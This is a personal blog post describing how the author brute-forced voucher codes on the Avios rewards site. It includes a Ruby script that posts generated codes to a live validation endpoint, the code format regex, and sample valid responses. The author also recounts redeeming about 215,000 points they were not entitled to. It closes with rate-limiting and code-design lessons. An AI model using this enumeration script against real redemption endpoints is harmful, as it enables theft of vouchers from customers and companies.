How I exploited a bug in the Avios Travel rewards programme to get 1000’s of valid air-mile points for free.

Cover Image.

If you’re like me, you’ve mused over the idea of travelling the world in style. You’ve seen the Youtube video’s, and you know the people.

This is a story of how I found a bug in the Avios Travel Rewards Programme that would have allowed me to achieve that*.

A couple of weeks ago I took a trip to New York. Being my first time visiting the states, and flying a transatlantic flight, I was extremely enthusiastic about the experience. You’ve all asked yourselves the same questions:

Could I swing an upgrade? How should I go about it? What should I say? How do I not sound like a ass when I’m asking for an upgrade?

Alas, it’s only when you actually get to the airport do you realize that the entire check-in process is automated (for the most part), and your chances of asking a lovely desk clerk for the potential of a free upgrade quickly evaporate. But it got me thinking, how do people go about doing this?

Aer Lingus Aer Club.
British Airways Executive Club.

Enter the Airline loyalty programme.

Nothing extraordinary here. People have long known about the loyalty programme airlines offer to their customers. But there was something unique about this one, and that was Avios. But what are they?

Avios are the shared reward currency used by Aer Lingus, British Airways, Flybe, Iberia, kulula.com and Meridiana. By collecting Avios on flights, hotels and car hire, you can enjoy a selection of Reward Flights to hundreds of destinations around the world.

After signing up to the Aer Lingus and British Airways loyalty programmes respectively, I then came across this site: https://www.aviosvouchers.com/. It’s simply a form that allows a customer to enter in their membership info, some personal details, and a reward code that has been sent to them. Here’s where it get’s interesting.

The realization.

Example of code already used.

I noticed two things initially that drew my attention. The first was I could see from the form there is a simple regex validation performed on the front-end to ensure the code you’ve entered is in the correct format. The second was that as I entered a code, I would get an immediate indication as to whether or not the code was valid. This was performed via an AJAX request.

Looking at the network requests in chrome’s developer tools, I could see a request being made to the following URL to validate the code. Then, the thought occurred to me. If I know the format the codes are meant to be in, and I know the endpoint specified to validate each code, could I generate 1000’s of random codes in that format, and then write a script to iterate over them and send a request to that endpoint to see if any of them are valid?

The answer is yes, I can.

#!/usr/bin/ruby
require ‘httparty’
require ‘byebug’
url = “https://www.aviosvouchers.com/en/Collect/ValidateCode"
# [a-zA-Z]{3}[0–9]{3}[a-zA-Z]{1}
puts “Running Script…”
File.open(‘codes.txt’, ‘r’).each_line do |line|
data = line.split(/\t/)
code = data.first.delete!(“\n”)
request = HTTParty.post(url, body: {code: code.to_s})
json = JSON.parse(request.body)
puts “#{json} — #{code.to_s}” if json[‘value’] > 0
 sleep(0.5)
end
puts “Finished Running Script.”

The script above does exactly what it says on the tin. It reads from a list of generated codes in a text file (You can generate the codes based on the regex provided through your own means, or use something like browserlings text-from-regex tool) and send’s them off as a post request to the URL provided. If we get a valid response back (Usually when the value attribute is greater than zero) we output that response to the CLI, and then wait a small period of time before we make the next request.

And the result? VALID CODES! (I have changed the correct values below for obvious reasons..)

{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5007652532665", “value”=>10000.0, “itemId”=>nil} — JCX328W
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7186731101111", “value”=>10000.0, “itemId”=>nil} — MYS272Y
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7409825562501", “value”=>1500.0, “itemId”=>nil} — XSL523V
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”2504822562501", “value”=>1500.0, “itemId”=>nil} — SYZ436G
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”8476533219878", “value”=>20000.0, “itemId”=>nil} — PEG924R
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”4318675747654", “value”=>500.0, “itemId”=>nil} — AHC939A
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”6509522562501", “value”=>1500.0, “itemId”=>nil} — JGZ792E
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5904736483764", “value”=>500.0, “itemId”=>nil} — DMB882D

After leaving the script running for a couple of days, I ended up with a plethora of valid codes, and after adding them to my BA profile, my account looked like this.

Screenshot of BA account.

215,010 Avios points. Yes, that is a lot. So much so that I could fly from London to Indonesia First Class for as little as £500 return. A stir of hope bellowed within me at the prospects of my dreams finally coming to reality.


But they wouldn’t.

It didn’t take long for the thought to dawn on me about the legality’s of this. If I where to book a flight and use these points, what would be the repercussions of doing so? Sense won out in the end, and as such my intention before publishing this was to notify Avios of this issue. However, it looks like they fixed it before I got a chance to do so.

Endpoint no longer available.

If you navigate to now to https://www.aviosvouchers.com/ there is no instant validation on your codes entered. Instead, a full page form submission is required to see the validity of your code entered. As well as this, it seems they’ve caught onto me and banned my account too..

*(They banned my Aer Lingus account too, but I didn’t get a chance to take a screenshot before they did.)

BA Account banned.

In conclusion.

What are the technical takeaways form this? What could have been implemented from the outset to prevent this? It wouldn’t take much really, there’s no reason for someone to be making tons of requests p/s to validate a code, and having the codes non-deterministic would go a long way in helping to avoid someone guessing one.

  1. Rate Limiting
  2. Variable and non-deterministic codes

Finally, if someone from Avios, British Airways or Aer Lingus does happen to read this, I would very much appreciate it if you could unlock my accounts. I’d like to continue the long slog to building up a reputable points number like any normal person.

Edit*

As I am getting tons of messages about this, let me be clear. I can see why people would think my initial intentions would have been malicious. I can whole heatedly say they were not, though I doubt many would believe me. The fact I used the codes I came across was down to excitement more than anything.